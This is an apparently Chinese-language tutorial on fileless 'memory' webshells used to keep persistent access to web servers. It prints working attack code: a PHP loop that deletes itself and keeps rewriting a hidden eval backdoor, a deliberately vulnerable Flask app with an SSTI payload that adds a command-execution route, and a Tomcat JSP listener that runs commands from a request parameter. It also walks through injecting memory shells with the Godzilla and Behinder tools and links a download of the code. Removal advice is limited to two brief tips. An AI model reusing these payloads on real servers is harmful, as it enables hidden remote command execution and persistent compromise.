目录
前置知识及资源
什么是内存马?
Webshell 内存马,是在内存中写入恶意后门和木马并执行,达到远程控制 Web 服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的 Webshell 都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于 Webshell 内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。
本文涉及到的代码下载地址
链接: https://pan.baidu.com/s/1znRj_L9MN69DrsOV6cQHgQ?pwd=x8i8 提取码: x8i8
案例一: 权限维持-Web-内存马-PHP
php内存马代码
<?php
ignore_user_abort(true);
set_time_limit(0);
@unlink(__FILE__);
$file = '.HH.php';
$code = '<?php @eval($_POST[\'c\']); ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>
这段代码中各部分的含义
ignore_user_abort(true); ##代表该代码只要运行了就不会断开、
set_time_limit(0); ##该代码运行的时间,设置为0就是一致运行
@unlink(__FILE__); ##删除文件
while (1){
file_put_contents($file,$code); ## 死循环创建文件并且写入
usleep(5000); ##延时
}
创建文件并且查看
然后访问http://ip/,这里会卡住,把之前创建的index文件会被删除,后面的页面是我访问的缓存,同时会产生一个.HH.php文件,这个文件是linux的隐藏文件,但是不知为何,我linux搭建的访问不了,只能这样演示。
.HH.php里面是一句话木马
在我去删除的时候,他又会立刻去创建出来,甚至在我鼠标右键的时候因为这个文件不断地创建,右键页面也不能打开,从时间也可以看出来这个文件,在一直的刷新
如何查杀
1. 因为写在了内存中,所以直接重启
2. 可以写一个条件竞争的代码,也是一直执行,刚创建就对其进行删除
案例二: 权限维持-Web-内存马-Python
漏洞代码,这段代码中有ssti注入漏洞
from flask import Flask,request
from flask import render_template_string
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello World'
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.values.get('param'))
return render_template_string(template)
if __name__ == '__main__':
app.run(port=8000)
render_template_string函数会渲染字符串,而字符串中有用户能控制输入的参数param,就造成了命令执行的危害
创建代码,并执行
生成内存马,利用的时候只需要修改对应test的模块以及对应param的参数
http://127.0.0.1:8000/test?param={{url_for.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}
然后访问
shell?cmd=命令
但是创建文件的地方并没有shell的影子文件也没有修改
参考文章:Python 内存马分析 - 先知社区
案例三: 权限维持-Web-内存马-JAVA
环境搭建
选择tomcat目录,导入程序的war包
导入jdk
shift+f10进行启动
java有三大组件,listener-->filter-->servlet,这里的原理就是把木马写入组件内存中
监听器
漏洞代码是一个文件上传页面
listener-内存马
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%
Object obj = request.getServletContext();
java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
//获取ApplicationContext
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
//获取StandardContext
ListenerDemo listenerdemo = new ListenerDemo();
//创建能够执行命令的Listener
standardContext.addApplicationEventListener(listenerdemo);
%>
<%!
public class ListenerDemo implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("requestDestroyed");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("requestInitialized");
try{
String cmd = sre.getServletRequest().getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}catch (Exception e ){
//e.printStackTrace();
}
}
}
%>
上传
访问页面,虽然是空白
但是现在已经可以在后面跟命令执行了
甚至随便访问一个不存在的目录
目录中也并没有一点,木马的影子
甚至把这个文件删除掉仍然还能够运行
重启代码失效
过滤器和伺服器,利用和前面一摸一样的,不再复现
案例四: 权限维持-Web-内存马-哥斯拉&冰蝎
实战过程中由于中间件不同,可能有tomcat,weblogic等等就会出现不同种类的内存马,甚至有类似spring框架开发,就导致不能通用,所以现在要演示通过哥斯拉&冰蝎复现
哥斯拉
生成木马
上传
建立连接
生成内存马
生成之后会发现目录下不会有这个文件
利用内存马建立连接的时候,要注意他会把这个文件默认上传到网站根目录下,并且密码默认的是password而不是pass
利用内存马建立的连接
冰蝎
冰蝎在使用的过程中呢,会出现很多bug,个人觉得没有哥斯拉好用
上传木马进行连接,冰蝎的木马不用生成,目录里面就有
右键目标连接,进行内存马的注入
到这里创建不了内存马了,这个版本不可以选择filter
后面换成了小迪视频里面的冰蝎版本,视频中问题是木马不能再Upload目录下,这里我试了也不行,所以这个还是有很多的bug的
创建的时候是创建在网站根目录,访问也是利用根目录访问
成功连接,并且目录没有123文件
至此内网学习暂时告一段落,后面的vpc项目1和2已经下线,vpc4太大了,vpc3后可能做一下,希望你也能看到这里^_^